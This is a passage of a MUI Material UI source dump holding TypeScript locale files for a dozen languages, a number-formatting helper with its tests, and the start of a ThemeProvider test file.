    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('si-LK');\n\nexport const siLK: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'ගමන් මඟ පෙන්වන්න',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'පළමු පිටුවට යන්න';\n          }\n          if (type === 'last') {\n            return 'අවසාන පිටුවට යන්න';\n          }\n          if (type === 'next') {\n            return 'මීළඟ පිටුවට යන්න';\n          }\n          // if (type === 'previous') {\n          return 'පෙර පිටුවට යන්න';\n        },\n        labelRowsPerPage: 'පිටුවක පේළි:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} දක්වා ${count !== -1 ? formatNumber(count) : `${formatNumber(to)} ට වැඩි ප්‍රමාණයකින්`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `තරු ${value}`,\n        emptyLabelText: 'හිස්',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'මකන්න',\n        closeText: 'වසන්න',\n        loadingText: 'නැංවෙමින්…',\n        noOptionsText: 'විකල්ප නැත',\n        openText: 'විවෘත කරන්න',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'වසන්න',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'පිටු අතර සංචරණය',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `පිටුව ${page} ${selected ? '' : 'ට යන්න'}`;\n          }\n          if (type === 'first') {\n            return 'පළමු පිටුවට යන්න';\n          }\n          if (type === 'last') {\n            return 'අවසාන පිටුවට යන්න';\n          }\n          if (type === 'next') {\n            return 'මීළඟ පිටුවට යන්න';\n          }\n          // if (type === 'previous') {\n          return 'පෙර පිටුවට යන්න';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/skSK.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('sk-SK');\n\nexport const skSK: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Ukázať cestu ',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Ísť na prvú stránku';\n          }\n          if (type === 'last') {\n            return 'Ísť na poslednú stránku';\n          }\n          if (type === 'next') {\n            return 'Ísť na ďaľšiu stránku';\n          }\n          // if (type === 'previous') {\n          return 'Ísť na predchádzajúcu stránku';\n        },\n        labelRowsPerPage: 'Riadkov na stránke:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} z ${count !== -1 ? formatNumber(count) : `viac ako ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          if (value === 1) {\n            return `${value} hviezdička`;\n          }\n          if (value >= 2 && value <= 4) {\n            return `${value} hviezdičky`;\n          }\n          return `${value} hviezdičiek`;\n        },\n        emptyLabelText: 'Prázdne',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Vymazať',\n        closeText: 'Zavrieť',\n        loadingText: 'Načítanie…',\n        noOptionsText: 'Žiadne možnosti',\n        openText: 'Otvoriť',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Zavrieť',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navigácia stránkovanim',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Ísť na '}stránku ${page}`;\n          }\n          if (type === 'first') {\n            return 'Ísť na prvú stránku';\n          }\n          if (type === 'last') {\n            return 'Ísť na poslednú stránku';\n          }\n          if (type === 'next') {\n            return 'Ísť na ďaľšiu stránku';\n          }\n          // if (type === 'previous') {\n          return 'Ísť na predchádzajúcu stránku';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/srRS.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('sr-RS');\n\n// Serbian - Srpski\nexport const srRS: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Pokaži putanju',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Idi na prvu stranicu';\n          }\n          if (type === 'last') {\n            return 'Idi na poslednju stranicu';\n          }\n          if (type === 'next') {\n            return 'Idi na sledeću stranicu';\n          }\n          // if (type === 'previous') {\n          return 'Idi na prethodnu stranicu';\n        },\n        labelRowsPerPage: 'Redova po stranici:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} od ${count !== -1 ? formatNumber(count) : `više nego ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          const lastDigit = value % 10;\n          const lastTwoDigits = value % 100;\n          if ([2, 3, 4].includes(lastDigit) && ![12, 13, 14].includes(lastTwoDigits)) {\n            return 'Zvezde';\n          }\n          return 'Zvezda';\n        },\n        emptyLabelText: 'Prazno',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Briši',\n        closeText: 'Zatvori',\n        loadingText: 'Učitavanje…',\n        noOptionsText: 'Nema opcija',\n        openText: 'Otvori',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Zatvori',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Navigacija po stranicama',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Idi na '}stranicu ${page}`;\n          }\n          if (type === 'first') {\n            return 'Idi na prvu stranicu';\n          }\n          if (type === 'last') {\n            return 'Idi na zadnju stranicu';\n          }\n          if (type === 'next') {\n            return 'Idi na sledeću stranicu';\n          }\n          // if (type === 'previous') {\n          return 'Idi na prethodnu stranicu';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/svSE.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('sv-SE');\n\nexport const svSE: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Visa sökväg',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Gå till första sidan';\n          }\n          if (type === 'last') {\n            return 'Gå till sista sidan';\n          }\n          if (type === 'next') {\n            return 'Gå till nästa sida';\n          }\n          // if (type === 'previous') {\n          return 'Gå till föregående sida';\n        },\n        labelRowsPerPage: 'Rader per sida:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} av ${count !== -1 ? formatNumber(count) : `fler än ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ${value !== 1 ? 'Stjärnor' : 'Stjärna'}`,\n        emptyLabelText: 'Tom',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Rensa',\n        closeText: 'Stäng',\n        loadingText: 'Laddar…',\n        noOptionsText: 'Inga alternativ',\n        openText: 'Öppna',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Stäng',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Sidnavigering',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Gå till '}sida ${page}`;\n          }\n          if (type === 'first') {\n            return 'Gå till första sidan';\n          }\n          if (type === 'last') {\n            return 'Gå till sista sidan';\n          }\n          if (type === 'next') {\n            return 'Gå till nästa sida';\n          }\n          // if (type === 'previous') {\n          return 'Gå till föregående sida';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/thTH.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('th-TH');\n\nexport const thTH: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'แสดงเส้นทาง',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'ไปที่หน้าแรก';\n          }\n          if (type === 'last') {\n            return 'ไปที่หน้าสุดท้าย';\n          }\n          if (type === 'next') {\n            return 'ไปที่หน้าถัดไป';\n          }\n          // if (type === 'previous') {\n          return 'ไปที่หน้าก่อน';\n        },\n        labelRowsPerPage: 'จำนวนแถวต่อหน้า:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} จาก ${count !== -1 ? formatNumber(count) : `มากกว่า ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ดาว`,\n        emptyLabelText: 'ว่างเปล่า',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'เคลียร์',\n        closeText: 'ปิด',\n        loadingText: 'กำลังโหลด…',\n        noOptionsText: 'ไม่มีตัวเลือก',\n        openText: 'เปิด',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'ปิด',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': '',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'ไปที่'}หน้า ${page}`;\n          }\n          if (type === 'first') {\n            return 'ไปที่หน้าแรก';\n          }\n          if (type === 'last') {\n            return 'ไปที่หน้าสุดท้าย';\n          }\n          if (type === 'next') {\n            return 'ไปที่หน้าถัดไป';\n          }\n          // if (type === 'previous') {\n          return 'ไปที่หน้าก่อน';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/tlTL.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('tl-TL');\n\n// Tagalog-Tagalog\nexport const tlTL: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Ipakita ang landas',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Pumunta sa unang pahina';\n          }\n          if (type === 'last') {\n            return 'Pumunta sa huling pahina';\n          }\n          if (type === 'next') {\n            return 'Pumunta sa susunod na pahina';\n          }\n          // if (type === 'previous') {\n          return 'Pumunta sa nakaraang pahina';\n        },\n        labelRowsPerPage: 'Mga hilera bawat pahina:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} ng ${count !== -1 ? formatNumber(count) : `higit sa ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Bituin${value !== 1 ? 's' : ''}`,\n        emptyLabelText: 'Walang laman',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Maaliwalas',\n        closeText: 'Isara',\n        loadingText: 'Naglo-load…',\n        noOptionsText: 'Walang mga pagpipilian',\n        openText: 'Bukas',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Isara',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Sayfa navigasyonu',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Pumunta sa'}pahina ${page}`;\n          }\n          if (type === 'first') {\n            return 'Pumunta sa unang pahina';\n          }\n          if (type === 'last') {\n            return 'Pumunta sa huling pahina';\n          }\n          if (type === 'next') {\n            return 'Pumunta sa susunod na pahina';\n          }\n          // if (type === 'previous') {\n          return 'Pumunta sa nakaraang pahina';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/trTR.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('tr-TR');\n\nexport const trTR: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Yolu göster',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'İlk sayfaya git';\n          }\n          if (type === 'last') {\n            return 'Son sayfaya git';\n          }\n          if (type === 'next') {\n            return 'Sonraki sayfaya git';\n          }\n          // if (type === 'previous') {\n          return 'Önceki sayfaya git';\n        },\n        labelRowsPerPage: 'Sayfa başına satır:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}-${formatNumber(to)} / ${count !== -1 ? formatNumber(count) : `${formatNumber(to)}'den fazla`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} Yıldız`,\n        emptyLabelText: 'Boş',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Temizle',\n        closeText: 'Kapat',\n        loadingText: 'Yükleniyor…',\n        noOptionsText: 'Seçenek yok',\n        openText: 'Aç',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Kapat',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Sayfa navigasyonu',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${page}. ${selected ? 'sayfa' : 'sayfaya git'}`;\n          }\n          if (type === 'first') {\n            return 'İlk sayfaya git';\n          }\n          if (type === 'last') {\n            return 'Son sayfaya git';\n          }\n          if (type === 'next') {\n            return 'Sonraki sayfaya git';\n          }\n          // if (type === 'previous') {\n          return 'Önceki sayfaya git';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/ukUA.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('uk-UA');\n\nexport const ukUA: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Показати шлях сторінок',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Перейти на першу сторінку';\n          }\n          if (type === 'last') {\n            return 'Перейти на останню сторінку';\n          }\n          if (type === 'next') {\n            return 'Перейти на наступну сторінку';\n          }\n          // if (type === 'previous') {\n          return 'Перейти на попередню сторінку';\n        },\n        labelRowsPerPage: 'Рядків на сторінці:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} з ${count !== -1 ? formatNumber(count) : `понад ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => {\n          let pluralForm = 'Зірок';\n          const lastDigit = value % 10;\n\n          if (lastDigit > 1 && lastDigit < 5) {\n            pluralForm = 'Зірки';\n          } else if (lastDigit === 1) {\n            pluralForm = 'Зірка';\n          }\n\n          return `${value} ${pluralForm}`;\n        },\n        emptyLabelText: 'Рейтинг відсутній',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Очистити',\n        closeText: 'Згорнути',\n        loadingText: 'Завантаження…',\n        noOptionsText: 'Немає варіантів',\n        openText: 'Розгорнути',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Згорнути',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Навігація сторінками',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Перейти на '}сторінку ${page}`;\n          }\n          if (type === 'first') {\n            return 'Перейти на першу сторінку';\n          }\n          if (type === 'last') {\n            return 'Перейти на останню сторінку';\n          }\n          if (type === 'next') {\n            return 'Перейти на наступну сторінку';\n          }\n          // if (type === 'previous') {\n          return 'Перейти на попередню сторінку';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/urPK.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('ur-PK');\n\nexport const urPK: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'راستہ دکھائیں',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'پہلے صفحے پر جائیں';\n          }\n          if (type === 'last') {\n            return 'آخری صفحے پر جائیں';\n          }\n          if (type === 'next') {\n            return 'اگلے صفحے پر جائیں';\n          }\n          // if (type === 'previous') {\n          return 'پچھلے صفحے پر جائیں';\n        },\n        labelRowsPerPage: 'ایک صفحے پر قطاریں:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${count !== -1 ? `${formatNumber(count)} میں سے` : `${formatNumber(to)} سے ذیادہ میں سے`} ${formatNumber(from)} سے ${formatNumber(to)} قطاریں`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} ستار${value !== 1 ? 'ے' : 'ہ'}`,\n        emptyLabelText: 'خالی',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'کلئیر',\n        closeText: 'بند کریں',\n        loadingText: 'لوڈ ہو رہا ہے۔۔۔',\n        noOptionsText: 'کوئی آپشن نہیں',\n        openText: 'کھولیں',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'بند کریں',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'صفحات کی ترتیب',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `صفحہ نمبر ${page}${selected ? '' : ' پر جائیں'}`;\n          }\n          if (type === 'first') {\n            return 'پہلے صفحے پر جائیں';\n          }\n          if (type === 'last') {\n            return 'آخری صفحے پر جائیں';\n          }\n          if (type === 'next') {\n            return 'اگلے صفحے پر جائیں';\n          }\n          // if (type === 'previous') {\n          return 'پچھلے صفحے پر جائیں';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/utils/LocaleTextApi.ts",
    "content": "import { ComponentsPropsList } from '../../styles/props';\n\nexport interface Localization {\n  components?:\n    | {\n        MuiAlert?:\n          | {\n              defaultProps: Pick<ComponentsPropsList['MuiAlert'], 'closeText'>;\n            }\n          | undefined;\n        MuiBreadcrumbs?:\n          | { defaultProps: Pick<ComponentsPropsList['MuiBreadcrumbs'], 'expandText'> }\n          | undefined;\n        MuiTablePagination?:\n          | {\n              defaultProps: Pick<\n                ComponentsPropsList['MuiTablePagination'],\n                'labelRowsPerPage' | 'labelDisplayedRows' | 'getItemAriaLabel'\n              >;\n            }\n          | undefined;\n        MuiRating?:\n          | {\n              defaultProps: Pick<\n                ComponentsPropsList['MuiRating'],\n                'emptyLabelText' | 'getLabelText'\n              >;\n            }\n          | undefined;\n        MuiAutocomplete?:\n          | {\n              defaultProps: Pick<\n                ComponentsPropsList['MuiAutocomplete'],\n                'clearText' | 'closeText' | 'loadingText' | 'noOptionsText' | 'openText'\n              >;\n            }\n          | undefined;\n        // The core package has no dependencies on the @mui/lab components.\n        // We can't use ComponentsPropsList, we have to duplicate and inline the definitions.\n        MuiPagination?:\n          | {\n              defaultProps: Pick<\n                ComponentsPropsList['MuiPagination'],\n                'aria-label' | 'getItemAriaLabel'\n              >;\n            }\n          | undefined;\n      }\n    | undefined;\n}\n"
  },
  {
    "path": "packages/mui-material/src/locale/utils/buildFormatNumber.test.ts",
    "content": "import { expect } from 'chai';\nimport buildFormatNumber from './buildFormatNumber';\n\ndescribe('buildFormatNumber', () => {\n  it('formats numbers using the given locale', () => {\n    const format = buildFormatNumber('en-US');\n    expect(format(1000)).to.equal('1,000');\n    expect(format(1234567)).to.equal('1,234,567');\n  });\n\n  it('formats numbers with locale-specific separators', () => {\n    const format = buildFormatNumber('de-DE');\n    expect(format(1000)).to.equal('1.000');\n  });\n\n  it('returns string for non-finite values', () => {\n    const format = buildFormatNumber('en-US');\n    expect(format(Infinity)).to.equal('Infinity');\n    expect(format(-Infinity)).to.equal('-Infinity');\n    expect(format(NaN)).to.equal('NaN');\n  });\n\n  it('handles zero and negative numbers', () => {\n    const format = buildFormatNumber('en-US');\n    expect(format(0)).to.equal('0');\n    expect(format(-1000)).to.equal('-1,000');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/locale/utils/buildFormatNumber.ts",
    "content": "const buildFormatNumber = (locale: string) => {\n  let formatter: Intl.NumberFormat | undefined;\n  if (typeof Intl !== 'undefined' && Intl.NumberFormat) {\n    try {\n      formatter = new Intl.NumberFormat(locale);\n    } catch {\n      // fallback to String()\n    }\n  }\n  return (value: number) => {\n    if (!Number.isFinite(value)) {\n      return String(value);\n    }\n    return formatter ? formatter.format(value) : String(value);\n  };\n};\n\nexport default buildFormatNumber;\n"
  },
  {
    "path": "packages/mui-material/src/locale/viVN.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('vi-VN');\n\nexport const viVN: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: 'Mở ra',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return 'Tới trang đầu tiên';\n          }\n          if (type === 'last') {\n            return 'Tới trang cuối cùng';\n          }\n          if (type === 'next') {\n            return 'Tới trang tiếp theo';\n          }\n          // if (type === 'previous') {\n          return 'Về trang trước đó';\n        },\n        labelRowsPerPage: 'Số hàng mỗi trang:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)}–${formatNumber(to)} trong ${count !== -1 ? formatNumber(count) : `nhiều hơn ${formatNumber(to)}`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} sao`,\n        emptyLabelText: 'Không có dữ liệu',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: 'Xóa',\n        closeText: 'Đóng',\n        loadingText: 'Đang tải…',\n        noOptionsText: 'Không có lựa chọn nào',\n        openText: 'Mở',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: 'Đóng',\n      },\n    },\n    MuiPagination: {\n      defaultProps: {\n        'aria-label': 'Thanh điều khiển trang',\n        getItemAriaLabel: (type, page, selected) => {\n          if (type === 'page') {\n            return `${selected ? '' : 'Tới '}trang ${page}`;\n          }\n          if (type === 'first') {\n            return 'Tới trang đầu tiên';\n          }\n          if (type === 'last') {\n            return 'Tới trang cuối cùng';\n          }\n          if (type === 'next') {\n            return 'Tới trang tiếp theo';\n          }\n          // if (type === 'previous') {\n          return 'Về trang trước đó';\n        },\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/zhCN.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('zh-CN');\n\nexport const zhCN: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: '展开',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return '第一页';\n          }\n          if (type === 'last') {\n            return '最后一页';\n          }\n          if (type === 'next') {\n            return '下一页';\n          }\n          return '上一页';\n        },\n        labelRowsPerPage: '每页行数:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `第 ${formatNumber(from)} 条到第 ${formatNumber(to)} 条，${count !== -1 ? `共 ${formatNumber(count)} 条` : `至少 ${formatNumber(to)} 条`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} 颗星`,\n        emptyLabelText: '无标签',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: '清空',\n        closeText: '关闭',\n        loadingText: '加载中……',\n        noOptionsText: '没有可用选项',\n        openText: '打开',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: '关闭',\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/zhHK.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('zh-HK');\n\nexport const zhHK: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: '展開',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return '第一頁';\n          }\n          if (type === 'last') {\n            return '最後一頁';\n          }\n          if (type === 'next') {\n            return '下一頁';\n          }\n          return '上一頁';\n        },\n        labelRowsPerPage: '每頁行數:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `第 ${formatNumber(from)} 項至第 ${formatNumber(to)} 項，${count !== -1 ? `共 ${formatNumber(count)} 項` : `超過 ${formatNumber(to)} 項`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} 粒星`,\n        emptyLabelText: '無標籤',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: '清除',\n        closeText: '關閉',\n        loadingText: '載入中……',\n        noOptionsText: '沒有可用選項',\n        openText: '開啟',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: '關閉',\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/locale/zhTW.ts",
    "content": "import type { Localization } from './utils/LocaleTextApi';\nimport buildFormatNumber from './utils/buildFormatNumber';\n\nconst formatNumber = buildFormatNumber('zh-TW');\n\nexport const zhTW: Localization = {\n  components: {\n    MuiBreadcrumbs: {\n      defaultProps: {\n        expandText: '展開',\n      },\n    },\n    MuiTablePagination: {\n      defaultProps: {\n        getItemAriaLabel: (type) => {\n          if (type === 'first') {\n            return '第一頁';\n          }\n          if (type === 'last') {\n            return '最後一頁';\n          }\n          if (type === 'next') {\n            return '下一頁';\n          }\n          return '上一頁';\n        },\n        labelRowsPerPage: '每頁數量:',\n        labelDisplayedRows: ({ from, to, count }) =>\n          `${formatNumber(from)} ~ ${formatNumber(to)} / ${count !== -1 ? formatNumber(count) : `${formatNumber(to)} 以上`}`,\n      },\n    },\n    MuiRating: {\n      defaultProps: {\n        getLabelText: (value) => `${value} 顆星`,\n        emptyLabelText: '無標籤',\n      },\n    },\n    MuiAutocomplete: {\n      defaultProps: {\n        clearText: '清空',\n        closeText: '關閉',\n        loadingText: '載入中…',\n        noOptionsText: '沒有可用選項',\n        openText: '打開',\n      },\n    },\n    MuiAlert: {\n      defaultProps: {\n        closeText: '關閉',\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/mui-material/src/styles/ThemeProvider.test.tsx",
    "content": "import { expect } from 'chai';\nimport { createRenderer, renderHook, screen } from '@mui/internal-test-utils';\nimport { ThemeProvider, createTheme, useColorScheme, useTheme } from '@mui/material/styles';\nimport Button from '@mui/material/Button';\n\ndescribe('ThemeProvider', () => {\n  const { render } = createRenderer();\n  let originalMatchmedia: typeof window.matchMedia;\n  let storage: Record<string, string> = {};\n\n  beforeEach(() => {\n    originalMatchmedia = window.matchMedia;\n    // Create mocks of localStorage getItem and setItem functions\n    storage = {};\n    Object.defineProperty(window, 'localStorage', {\n      value: {\n        getItem: (key: string) => storage[key],\n        setItem: (key: string, value: string) => {\n          storage[key] = value;\n        },\n      },\n      configurable: true,\n    });\n    window.matchMedia = () =>\n      ({\n        // Keep mocking legacy methods because @mui/material v5 still uses them\n        addListener: () => {},\n        addEventListener: () => {},\n        removeListener: () => {},\n        removeEventListener: () => {},\n      }) as unknown as MediaQueryList;\n  });\n\n  afterEach(() => {\n    window.matchMedia = originalMatchmedia;\n  });\n\n  it('When theme is a function, it should not show warning', () => {\n    expect(() =>\n      render(\n        <ThemeProvider theme={{}}>\n          <ThemeProvider theme={() => ({})} />\n        </ThemeProvider>,\n      ),\n    ).not.toWarnDev();\n  });\n\n  it('theme should be stable between renders if created outside of component', () => {\n    const theme = createTheme();\n    const { result, rerender } = renderHook(\n      () => {\n        return useTheme();\n      },\n      {\n        wrapper: ({ children }) => <ThemeProvider theme={theme}>{children}</ThemeProvider>,\n      },\n    );\n    const firstRender = result.current;\n    rerender();\n    const secondRender = result.current;\n    expect(firstRender).to.equal(secondRender);\n  });\n\n  describe('light & dark', () => {\n    function ModeSwitcher() {\n      const { mode, setMode } = useColorScheme();\n      if (!mode) {\n        return null;\n      }\n      return (\n        <select\n          data-testid=\"mode-switcher\"\n          value={mode}\n          onChange={(event) => {\n            setMode(event.target.value as 'light' | 'dark' | 'system');\n          }}\n        >\n          <option value=\"system\">System</option>\n          <option value=\"light\">Light</option>\n          <option value=\"dark\">Dark</option>\n        </select>\n      );\n    }\n\n    it('should be able to use `useColorScheme`', () => {\n      const theme = createTheme({\n        colorSchemes: { dark: true },\n      });\n      expect(() =>\n        render(\n          <ThemeProvider theme={theme}>\n            <ModeSwitcher />\n          